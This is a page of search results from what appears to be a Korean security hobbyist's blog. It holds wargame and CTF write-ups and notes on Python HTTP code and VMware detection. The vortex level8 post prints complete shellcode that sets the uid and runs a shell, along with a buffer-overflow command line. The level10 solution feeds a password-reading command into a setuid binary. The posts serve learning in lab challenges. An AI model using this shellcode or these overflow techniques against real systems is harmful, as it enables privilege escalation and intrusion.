Search results for 'before I die'

  1. 2011.08.01 -- wechall.net
  2. 2011.07.04 -- handling HTTP by python module
  3. 2011.06.17 -- Defcon 19 b500 writeup
  4. 2011.05.11 -- Protection ID
  5. 2011.04.18 -- Vmware detection by vmware I/O port
  6. 2011.04.18 -- vortex level10
  7. 2011.01.10 -- Wow!!! 1
  8. 2010.12.09 -- vortex level8
  9. 2010.11.10 -- ISEC 2010 level8 random array
  10. 2010.10.27 -- pythonchallenge level 17 1

wechall.net

2011. 8. 1. 00:46
바이너리 관련된 문제들은 거의 다 풀었더니.. 
web, cryto 류의 문제들만 남았네요.
이쪽엔 영 실력도 자신도 없어서.. 

Gizmore가 관리를 하는지 웹에서 풀이를 찾기가 쉽지 않더군요,
그래서 저도 wechall.net에서 해결한 문제들은 writeup을 공개하지 않을 작정입니다. 

궁금하신 사항이 있으면 댓글로~

'War game > wechall.net' 카테고리의 다른 글

blinded by light  (0) 2011.09.26
Pimitive Encryption  (0) 2011.08.29
Flow Over Astronomy  (0) 2011.08.29
A Black Hats Tale  (0) 2011.08.16
Impossible n'est pas français  (0) 2011.08.10
Simply Red  (0) 2011.08.09
snake  (0) 2011.08.07
Agent Larry  (0) 2011.08.01
B.Aim  (0) 2011.08.01
thelasthope  (0) 2011.08.01

badcob War game/wechall.net

handling HTTP by python module

2011. 7. 4. 01:03

파이썬으로 네크워크 프로그래밍을 할때 일반적으로 아래의 모듈들을 사용한다.

socket, httplib,urllib, urllib2, etc..

상황에 따라 다르겠지만 urllib, urllib2, httplib 애들은 이름부터 비슷해서 기능들도 비슷비슷하다

각각 사용해야 될 상황이 있을 법한데 그때 그때 구현해서 쓰다보니 뭐가 뭔지 헷갈림.. 
그래서 구글링을 해보니 생각보다 간단하다.

1) urllib2는 Request class를 통해서 헤더를 조작할수 있다는 것과
2) urlencode는 urllib에만 있다는 것

그러니깐 urllib2는 보다 디테일한 제어가 가능하지만 몇몇 기능 떄문에 urllib를 써야 한다는 정도.
httplib는 아래 코멘트로 설명이 될듯.

If you're dealing solely with http/https and need access to HTTP specific stuff, use httplib. For all other cases, use urllib2.
urllib/urllib2 is built on top of httplib. It offers more features than writing to httplib directly.


example. socket 

from socket import *

host = "blabla"
port = 80
payload = "GET / HTTP/1.1\r\n"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(payload)
r = s.recv(1024)
print "[+] Receive - %s" % r


example urllib2,urllib
wechall.net에 있는 문제 중에 하나.
urllib2에서 Request 클래스를 생성할 때, data 값이 있으면 POST 로 전송한다. 
따라서 GET으로 전송하고 싶으면 add_header 메소드로 추가.


import urllib,urllib2,re

url = 'http://www.wechall.net/challenge/training/programming1/index.php?action=request'
callback_url = 'http://www.wechall.net/challenge/training/programming1/index.php?answer='

#param = {'action':'request'}
#data = urllib.urlencode(param)

sid = "WC4_SID=921244-6205-R8w9DSKbppv6P4pE"

req = urllib2.Request(url)
req.add_header('cookie',sid)
f = urllib2.urlopen(req)

text = f.read()
#answer = re.findall('page_wrap\">\n[a-zA-Z0-0]{9}',text)
t = re.findall('[a-zA-Z0-9]+',text)
t.reverse()
answer = t[0]

req = urllib2.Request(callback_url+answer)
req.add_header('cookie',sid)
f = urllib2.urlopen(req)
print f.read()

'Code > Python' 카테고리의 다른 글

SendMessage by winappdbg  (0) 2013.06.12
decode captcha by python  (0) 2012.11.12
ISEC 2009 level3 solution by winappdbg  (0) 2010.09.16
hust 8th level D - python  (0) 2009.10.17

badcob Code/Python

Defcon 19 b500 writeup

2011. 6. 17. 01:22



라스베가스가 코 앞까지 왔었는데..

'CTF' 카테고리의 다른 글

Holyshield 2010 Write up  (2) 2012.11.28
JFF2 JH1  (2) 2012.08.11
jff2 silly100  (5) 2012.08.06
defcon20 bin200  (0) 2012.06.22
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp300 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
ISEC 2010 level8 random array  (0) 2010.11.10

badcob CTF

Protection ID

2011. 5. 11. 11:19
Game cracking 에 관심 있어 하는 분이라면 이미 알고 있을만한 툴입니다.

주요 기능은 이 한줄로 설명이..

detection of every major PC ISO Game / Application protection

소스가 공개되었으면 하는 아쉬움이 남습니다. T_



URL : http://pid.gamecopyworld.com/

'Reversing' 카테고리의 다른 글

ARM assembly를 공부합시다.  (0) 2011.10.03
Vmware detection by vmware I/O port  (0) 2011.04.18
TightVNC portable  (0) 2010.09.08
7.7 ddos 바이너리 대충 분석  (2) 2009.08.06
The best text for Reverse Engineering  (0) 2009.06.23
Reversing for Newbies (written by Lena)  (0) 2009.03.27
some instruction  (0) 2009.02.11
bypassing isDebuggerPresent WITHOUT changing mem  (0) 2009.01.28

badcob Reversing

Vmware detection by vmware I/O port

2011. 4. 18. 15:37


악성코드 샘플을 수집해서 분석하는 중에 Vmware에서 실행을 하려 해도
제대로 실행이 되질 않는 놈이 있더군요. 몇번 클릭질 해보다 안되겠다 싶어
트레이싱을 해보니 아무래도 vmware 를 인식하고 알아서 죽는것 같더이다.

그래서 vmware detection 이라는 키워드로 구글링을 한참 해봤지만
원하는 자료가 쉬이 나오질 않으니, 시간은 점점 흐르고 분석 문서는 작성해야되는데
악성코드를 실행조차 못하는 상황T_T.. 그러던 와중에 원하는 자료를 발견(!)해서 정리해 둡니다.





In instruction에 대한 설명 - http://en.wikibooks.org/wiki/X86_Assembly/Other_Instructions

I/O Instructions

in dest, src

The IN instruction almost always has the operands AX and DX (or EAX and EDX) associated with it. DX (src) frequently holds the port address to read, and AX (dest) receives the data from the port. In Protected Mode operating systems, the IN instruction is frequently locked, and normal users can't use it in their programs.


DX(src)는 읽을 port address를 가지고 있고, AX(dest)는 그 port의 데이터를 받습니다.

위의 코드에서, "in   eax, dx" 가 실행될 때,
dx에는 0x5658(port address)이, eax에는 0x564D5867 (VMXh)이 들어 있습니다.

즉  In  0x564D5867, 0x5658  요런 모양으로 실행되겠죠.

그 후에 ebx의 값을 0x564D5867 과 비교해서 같으면 Vmware 환경에서 작동하는 것으로 판단,
종료 시킵니다.


참고 사이트  : http://isc.sans.edu/diary.html?storyid=3190

'Reversing' 카테고리의 다른 글

ARM assembly를 공부합시다.  (0) 2011.10.03
Protection ID  (0) 2011.05.11
TightVNC portable  (0) 2010.09.08
7.7 ddos 바이너리 대충 분석  (2) 2009.08.06
The best text for Reverse Engineering  (0) 2009.06.23
Reversing for Newbies (written by Lena)  (0) 2009.03.27
some instruction  (0) 2009.02.11
bypassing isDebuggerPresent WITHOUT changing mem  (0) 2009.01.28

badcob Reversing

vortex level10

2011. 4. 18. 06:35


Vortex Level10에 대한 설명입니다.

Random?
          Read in 20 integers and write the seed used to generate those numbers in unsigned little endian format. You have a time limit of 30 seconds to do this.


"20개의 정수를 읽고 이 정수값을 생성하는 seed를 30초 안에 써라" 라고 하네요.

파일을 실행한 결과는  다음과 같습니다.



IDA F5 신공으로 보면,

   v1 = times(&buffer);

    tmp = buffer.tms_cstime + buffer.tms_cutime + buffer.tms_utime + buffer.tms_stime + v1;

    tmp += clock();
    tmp += time(0);

    num = tmp;

    if ( tmp < 0 ) {
        num = tmp + 255;
    }

    tmp = 128 - (tmp - (num >> 8 << 8));

    seed = tmp + time(0);

seed 를 생성하는 루틴에서 사용하는 함수들은 다음과 같습니다.

1) times function.

NAME
       times - get process times

SYNOPSIS
       #include <sys/times.h>

       clock_t times(struct tms *buf);

DESCRIPTION
       times()  stores  the  current process times in the struct tms that buf points to.  The struct tms is as defined in <sys/times.h>:

           struct tms {
               clock_t tms_utime;  /* user time */
               clock_t tms_stime;  /* system time */
               clock_t tms_cutime; /* user time of children */
               clock_t tms_cstime; /* system time of children */
           };

   times() 함수는 현재 프로세스 타임을 tms구조체에 되돌려줍니다.

     tms_utime는 프로세스가 호출한 명령을 수행하기 위해서 소비된 시간이다.
     tms_stime는 프로세스의 명령을 시스템차원에서 실행하는데 소비된 시간이다.
     tms_cutime은 종료된 모든 자식프로세스가 소비한 tms_utime이다.
     tms_cstime은 종료된 모든 자식프로세스가 소비한 tms_stime이다.

2) clock() function  - 프로그램이 실행된 후 경과한 Clock Tick을 반환

To get a process' CPU time, you can use the clock function. This facility is declared in the header file time.h. In typical usage, you call the clock function at the beginning and end of the interval you want to time, subtract the values, and then divide by CLOCKS_PER_SEC (the number of clock ticks per second) to get processor time, like this:

 #include <time.h>         
 clock_t start, end;    
 double cpu_time_used;         
 start = clock();     ... /* Do the work. */    
 end = clock();    
 cpu_time_used = ((double) (end - start)) / CLOCKS_PER_SEC;

3) time() function
http://www.joinc.co.kr/modules/moniwiki/wiki.php/article/unixtime

1970년 1월 1일(GMT)를 기준으로 지금까지 흐른 시간을 초 단위로 측정

위의 함수들을 조합해서 seed를 생성한 후에 rand() 함수로 값을 찍습니다.
이 루틴을 그대로 이용해서 level10으로  넘기면 될거 같네요.

처음엔 파일로 쓴 후에 읽게 했습니다. Local system 인 ubuntu 에서는 성공했지만
이 느려터진 vortex 시스템에선 계속 "None, try again" 만 뜨더군요.

파일로 쓰는 시간을 줄일 수 없을까 하다,  Pipe 를 이용해서 해결했습니다.
이 문제를 푼게 올해 초라서.. 지금 다시 돌려보니 깔끔하게 떨어지진 않네요 흑..
사용되는 연산이 적으면 아무래도 시스템 성능에 영향을 더 받겠죠?
File, Pipe 이외에 더 적은 연산을 수행하는 방법이 없을까요.

풀이에 사용한 코드 입니다.


 
#include <stdio.h>
#include <sys/times.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#define LEVEL10 "/vortex/level10"

int main(void) 
{
    struct          tms buffer;
    clock_t         v1;
    int             num,tmp,i,j,pid;
    unsigned int    seed;
    int             buf[22] = {0}; 
    char            result[16] = {0};
    char            last[16] = {0}; 
    int             p[2] = {0};
    char            temp[4] = {0};
    char            response[256] = {0};
    //char            action[] = "ls -al > /tmp/result\n";
    char            action[] = "cat /etc/vortex_pass/vortex11 > /tmp/result\n";
    char            end[] = {0};

    v1 = times(&buffer);

    tmp = buffer.tms_cstime + buffer.tms_cutime + buffer.tms_utime + buffer.tms_stime + v1;

    tmp += clock();
    tmp += time(0);

    num = tmp;

    if ( tmp < 0 ) {
        num = tmp + 255;
    }

    tmp = 128 - (tmp - (num >> 8 << 8));

    seed = tmp + time(0);
    printf("seed : %d\n", seed);
    sprintf(result,"%x",seed);

    j=3;

    for (i=0;i<strlen(result); i=i+2) 
    {
        sprintf(temp,"%c%c",result[i],result[i+1]);
        last[j] = strtol(temp,NULL,16);
        j--;
     }
if 1
    srand(seed);

    setvbuf(stdout, 0, 2,0);

    for ( i = 0; i < tmp; ++i) {
        rand();
    }

    printf("[");
    for ( i = 0; i <= 19; ++i) {
        buf[i] = rand();
        printf(" %08x,", buf[i]);
    }

    printf("]\n");
#endif

    pipe(p);

    if((pid =fork()) == 0)
    {
        dup2(p[0],0);
        close(p[1]);
        execl("./level10","level10",NULL);
    }
    else
    {
        close(p[0]);
        write(p[1], last, strlen(last));
    }

    write(p[1], action, sizeof(action));
    sleep(1);
    write(p[1], end, sizeof(end));

    return 0;
}

'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level8  (0) 2010.12.09
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

Wow!!!

2011. 1. 10. 01:39

정신없이 와우하고 논지가 어언 3주. 1랩부터 키운 늑대인간 마법사가 어언 84랩!!!
그러나 정신 차려 보니 하고 싶던 일과 해야 되는 일이 수두룩한..  현실은 어느새 시궁창 입니다.

다시 일상으로 돌아가야 할 때 인듯T_T

그래도 만랩은 찍는다!

'what`s up' 카테고리의 다른 글

YO!  (0) 2012.03.30
8회 해킹방어대회 우승  (2) 2011.08.07
어디에  (0) 2010.09.07
i`m back  (0) 2010.03.26
passion  (0) 2009.11.17
hardware radio switch T_T  (2) 2009.11.07
coldplay scientist  (0) 2009.10.18
그러한  (0) 2009.10.13
이별  (0) 2009.09.01
기분이 오묘함  (0) 2009.08.24

badcob what`s up

vortex level8

2010. 12. 9. 01:21
분석한걸 대충 요약하면..
strcpy로 인해 BOF가 발생하는 unsafecode는 호출하기전에 권한설정이 현재 uid 인 510으로 설정되어
vortex9(511)의 쉘을 띄울 수가 없다. 어떻게 해야될까..

구글링을 하니 beist님이 쓰신 글이 가장 도움이 되었는데 간단히 말하면, 하나의 프로세스에서 .code 영역은 공유되므로 권한 설정 전에 호출되는 쓰레드의 코드를 직접 바꾸도록 쉘코드를 만드는 것이다.

음.. 좋아 쉘코드를 만들어 보자.

다음은 Writing shellcode for Linux and *BSD (http://www.kernel-panic.it/security/shellcode/)의 일부를 번역한 것이다.
--------------------------------------------------------------------------------------
CPU가 0x80 인터럽트를 받게되면 커널모드로 진입, IDT에서 적절한 핸들러를 얻어서 요청받은 함수를 실행한다.
System call number는 EAX에 저장되고, 함수 아규먼트는 (6개 까지) EBX, ECX, EDX, ESI, EDI, EBP 로 전달된다.
함수가 6개 이상의 아규먼트가 필요하면, 그것들을 구조체로 묶어서 첫번 째 아규먼트에 대한 포인터를 EBX에 저장한다

 
Syscall number 와 파라미터가 레지스터에 위치한 후에, 0x80 인터럽트가 실행된다. CPU는 커널모드에 진입하고,
System call을 수행한 후에 제어권을 사용자 프로세스에 반환한다.

System Call을 실행하기 위해 필요한 것은 다음과 같다.

1. Syscall Number를 EAX에 저장한다
2. Syscall 파라미터를 적절한 레지스터에 저장하거나
   파라미터를 포함하는 메모리 구조체를 만들어서 첫번 째 아규먼트의 포인터를 EBX 레지스터에 저장한다
3. 0x80 소프트웨어 인터럽트를 실행한다.

asm code에서 사용하는 system call number는 /usr/include/asm/unistd.h 에서 찾을 수 있다.

---------------------------------------------------------------------------------------------------

 

level8을 해결하기 위해 필요한 함수의 system call number는 아래와 같다.

#define __NR_execve           11
#define __NR_geteuid           49
#define __NR_setreuid           70
#define __NR_mprotect           125


먼저 핵심이 되는 mprotect.

#include <sys/mman.h>
 int mprotect(const void *addr, size_t len, int prot);

mprotect를 이용해 권한을 바꿀 주소를 살펴보자. 다음은 safecode를 디스어셈블한 내용이다.

0x08048564 <safecode+0>: push   %ebp
0x08048565 <safecode+1>: mov    %esp,%ebp
0x08048567 <safecode+3>: sub    $0x8,%esp
0x0804856a <safecode+6>: movl   $0x0,-0x4(%ebp)
0x08048571 <safecode+13>: sub    $0x8,%esp
0x08048574 <safecode+16>: pushl  -0x4(%ebp)
0x08048577 <safecode+19>: push   $0x8048708
0x0804857c <safecode+24>: call   0x8048464 <printf@plt>
0x08048581 <safecode+29>: add    $0x10,%esp
0x08048584 <safecode+32>: sub    $0xc,%esp
0x08048587 <safecode+35>: pushl  0x8049838
0x0804858d <safecode+41>: call   0x8048414 <fflush@plt>
0x08048592 <safecode+46>: add    $0x10,%esp
0x08048595 <safecode+49>: sub    $0xc,%esp
0x08048598 <safecode+52>: push   $0x1
0x0804859a <safecode+54>: call   0x8048444 <sleep@plt>
0x0804859f <safecode+59>: add    $0x10,%esp
0x080485a2 <safecode+62>: jmp    0x8048571 <safecode+13>

safecode 마지막에서 0x08048571로 반복되는 부분이 있다.  그러므로 0x08048571 부터 쉘코드를 덮어 씌운다면
jmp 문에 의해서 의도한 코드가 실행될 것이다.

처음에는 0x08048571 부분부터 코드 영역에 덮어씌울 쉘코드의 크기만큼만 권한을 바꾸려 했으나
테스트 결과 계속 세그 폴트가 났다. 으.. 영문을 모르겠어서 그냥 다음 영역 전체의 권한을 바꾸기로 했다.



따라서 mprotect는  대충 이런 모습으로 호출될 것이다.

mprotect(0x08048000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC);

mprotect는 앞서 나온 설명대로 ebx,ecx,edx에 각 파라미터를 집어넣고 0x7d로 인터럽트를 발생한다.

0x00124751 <mprotect+1>: mov    0x10(%esp),%edx
0x00124755 <mprotect+5>: mov    0xc(%esp),%ecx
0x00124759 <mprotect+9>: mov    0x8(%esp),%ebx
0x0012475d <mprotect+13>: mov    $0x7d,%eax
0x00124762 <mprotect+18>: int    $0x80

위의 정보를 토대로 asm으로 만들면

mov $0x7,%dl                  #read,write,exec 권한을 다 설정해주면 0x7로 들어간다.
mov $0x1010,%cx             #0x1000을 사이즈로 넣게되면 쉘코드에 널바이트가 있게된다.
xor %cl,%cl                    #0x1010을 넣어주고 1바이트를 xor 해줘서 0x1000을 만든다.
mov $0x08048010,%ebx     # 위와 마찬가지
xor %bl,%bl
mov $0x7d,%al                #mprotect의 syscall number 0x7d
int $0x80

최종 asm 코드는 다음과 같다.

main:
       jmp put_string

start:
        pop esi                        #stack에 들어있는 shellcode 주소를 esi에 넣는다.
        xor %eax,%eax              #사용하는 레지스터를 초기화
        xor %ebx,%ebx
        xor %ecx,%ecx
        xor %edx,%edx
        mov $0x7,%dl                 #mprotect 호출
        mov $0x1010,%cx
        xor %cl,%cl
        mov $0x08048010,%ebx
        xor %bl,%bl
        mov $0x7d,%al
        int $0x80
        xor %edx,%edx              #memcpy 전에 register 초기화
        xor %ecx,%ecx
        mov $0x08048571,%edi    #dest address를 edi에 넣는다.
        mov $0x31,%cl              #size를 ecx에 넣는다.
        mov %cl,%dl
        shr $0x2,%ecx
        cld
        rep movsd
        mov %edx,%ecx
        and $0x3,%ecx
        rep movsb

put_string:
        call start
        xor %eax,%eax
        xor %ebx,%ebx
        xor %ecx,%ecx
        mov $0x1ff,%cx             # vortex9의 uid 511을 넣는다.
        mov $0x1ff,%bx             
        mov $0x46,%al              
        int $0x80                      # setreuid(511,511);
        xor %eax,%eax
        push %eax
        push $0x68732f2f
        push $0x6e69622f          # /bin//sh 문자열을 만들어서
        mov %esp,%ebx           # ebx에 넣고
        push %eax              
        push %ebx
        mov %esp,%ecx           # 앞서 만든 문자열 주소를 ecx에 넣고  
        mov %eax,%edx           # NULL을 edx로
        mov $0xb,%al                   
        int $0x80                     # execve("/bin//sh", "/bin//sh", NULL)

위의 코드에서 뽑아낸 최종 쉘코드.

\xeb\x36\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb2\x07\x66\xb9\x10\x10\x30\xc9\xbb\x10\x80\x04\x08\x30\xdb\xb0\x7d\xcd\x80\x31\xd2\x31\xc9\xbf\x71\x85\x04\x08\xb1\x31\x88\xca\xc1\xe9\x02\xfc\xf3\xa5\x89\xd1\x83\xe1\x03\xf3\xa4\xe8\xc5\xff\xff\xff\x31\xc0\x31\xdb\x31\xc9\x66\xb9\xff\x01\x66\xbb\xff\x01\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

생성한 쉘코드를 eggshell로 환경변수에 집어넣고 unsafecode에서 strcpy 될때 ebp-0x408(1032) 부터 복사되므로 ebp까지 덮도록 1036개의 쓰레기값으로 채운 후에 ret를 eggshell의 주소로 지정해준다.

머 대충 이런식으로.. /vortex/level8 `python -c 'print "\x41"*1036+"\xf0\xff\x7f\xbf"'`

쉘이 떴다!! 오예~! 스샷은 찍기 귀찮아서..  ci41)GJhb


'War game > vortex' 카테고리의 다른 글

vortex12  (0) 2014.01.02
Vortex11  (3) 2013.04.02
vortex level10  (0) 2011.04.18
vortex level3  (0) 2009.10.03
vortex level1  (0) 2009.09.24
vortex level0  (0) 2009.09.23

badcob War game/vortex

ISEC 2010 level8 random array

2010. 11. 10. 17:48
ISEC 2010 prequal 8번이었나 random array 로 bruteforce 하는  문제 .
난수 반복 때문에 한참 헤메다가 cpu 클럭으로 생성하게 함.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>


#define RAN_SIZE   28 
#define TRUE        1
#define RESULT      "result" 

int main(void)
{
    char buf[28] = { };
    char tmp[28] = { };
    char last[28] = {};

    char x[16] = { };
    char y[16] = { };

    char str[32] = "6445666F485F6CF526CC5457F3A4";

    int rand_num = 0;
    int len = 0;
    int count;
    int status = 0;
    int flag = 0;
    int i;

    FILE *fp;

    pid_t pid;
    clockid_t clock_id;
    long ret;
    char ptr = NULL;
    struct timespec t;

    pid = getpid();


    fp = fopen(RESULT, "a+");
    memcpy(buf,str,28);

    while(TRUE) {

        //get cpu clock
        clock_getcpuclockid(pid, &clock_id);
        clock_gettime(clock_id, &t);

        srand(t.tv_nsec);

        //shuffling the array

        do { 
            rand_num = rand() % RAN_SIZE;
            count = 0;
            if (len <= 0)
                goto LABEL_1;
            do {
                if (tmp[count] == rand_num) {
                    status = 1;
                }
                ++count;
            } while (count < len);

            if (status) {
                status = 0;
            }
            else {
LABEL_1:
                tmp[len++] = rand_num;
            }         
        } while (len < 28);

      // is it printable?
        for (i = 0; i < len; i=i+2) {
            sprintf(x,"%c%c",buf[tmp[i]],buf[tmp[i+1]]);
            ret = strtol(x,&ptr,16);
            sprintf(y,"%c",ret);
            if (( *y < 0x1f) || (*y > 0x7e)) {
                flag = 1;
                break;
            }
            strcat(last,y);
        }
        
        if (!flag) {
            fprintf(fp,"%s\n",last);
        }

        status = 0;
        len = 0;
        count = 0;
        rand_num = 0;
        flag = 0;
        memset(x,0x00,sizeof(x));
        memset(y,0x00,sizeof(y));
        memset(last,0x00,sizeof(last));
    }
    fclose(fp);
    return 0;
}


Python 으로는 아래처럼 random.shuffle 로 돌리면 된다.
import random, re

s = '6445666F485F6C5F6C2C54573F4A'

ran = []
for x in range(28):
    ran.append(str(x))

random.shuffle(ran)

'CTF' 카테고리의 다른 글

Holyshield 2010 Write up  (2) 2012.11.28
JFF2 JH1  (2) 2012.08.11
jff2 silly100  (5) 2012.08.06
defcon20 bin200  (0) 2012.06.22
defcon20 pp400 exploit  (0) 2012.06.16
defcon20 pp300 exploit  (0) 2012.06.16
defcon20 pp200 exploit  (0) 2012.06.16
pctf 2012 format  (0) 2012.05.09
Defcon 19 b500 writeup  (0) 2011.06.17

badcob CTF

pythonchallenge level 17

2010. 10. 27. 11:51
푼지는 조금 됐지만 올려둔다.. 근 1년 여 만에 하다보니 전에 했던걸 다 잊어서 꽤나 고생했다.


 
import urllib, re, cookielib,urllib2,bz2,xmlrpclib

def get_page(number, extract):
    while 1:
        i = 0
        url = "http://www.pythonchallenge.com/pc/def/linkedlist.php?busynothing=%s" % number
        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        f = opener.open(url)
        file = f.read()
        extract.append(list(cj)[0].value)
        text = re.findall("next busynothing is \d+",file)
        if text:
                text_last = text[0]
                number_list = re.findall("[0-9]+",text_last)
                number = ''
                while 1:
                        number += number_list[i]
                        i +=1
                        if i == len(number_list): break
        else:
                text = re.findall("that", file)
                break
                                
num = 12345
txt = []
get_page(num,txt)
temp = urllib.unquote_plus(''.join(txt))
print bz2.BZ2Decompressor().decompress(temp)

name = 'Leopold'
proxy = xmlrpclib.ServerProxy('http://www.pythonchallenge.com/pc/phonebook.php')
print 'method %s' % (proxy.system.listMethods())
print 'phone number %s' % str(proxy.phone(name))

url = "http://www.pythonchallenge.com/pc/stuff/violin.php"
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
f = opener.open(url)
file = f.read()
print file

info = 'the flowers are on their way'
req = urllib2.Request(url, headers={'cookie': 'info=' + urllib.quote_plus(info)})
print urllib2.urlopen(req).read()




http://www.pythonchallenge.com/pc/return/balloons.html

'War game > pythonchallenge' 카테고리의 다른 글

pythonchallenge level16  (0) 2009.12.04
pythonchallenge level 15  (0) 2009.12.03
pythonchallenge level14  (0) 2009.11.17
pythonchallenge level13  (0) 2009.10.22
pythonchallenge level12  (0) 2009.10.22
pythonchallenge level11  (0) 2009.10.22
pythonchallenge level10  (0) 2009.10.20
pythonchallenge level9  (0) 2009.10.16
pythonchallenge level8  (0) 2009.10.16
pythonchallenge level7  (0) 2009.10.16

badcob War game/pythonchallenge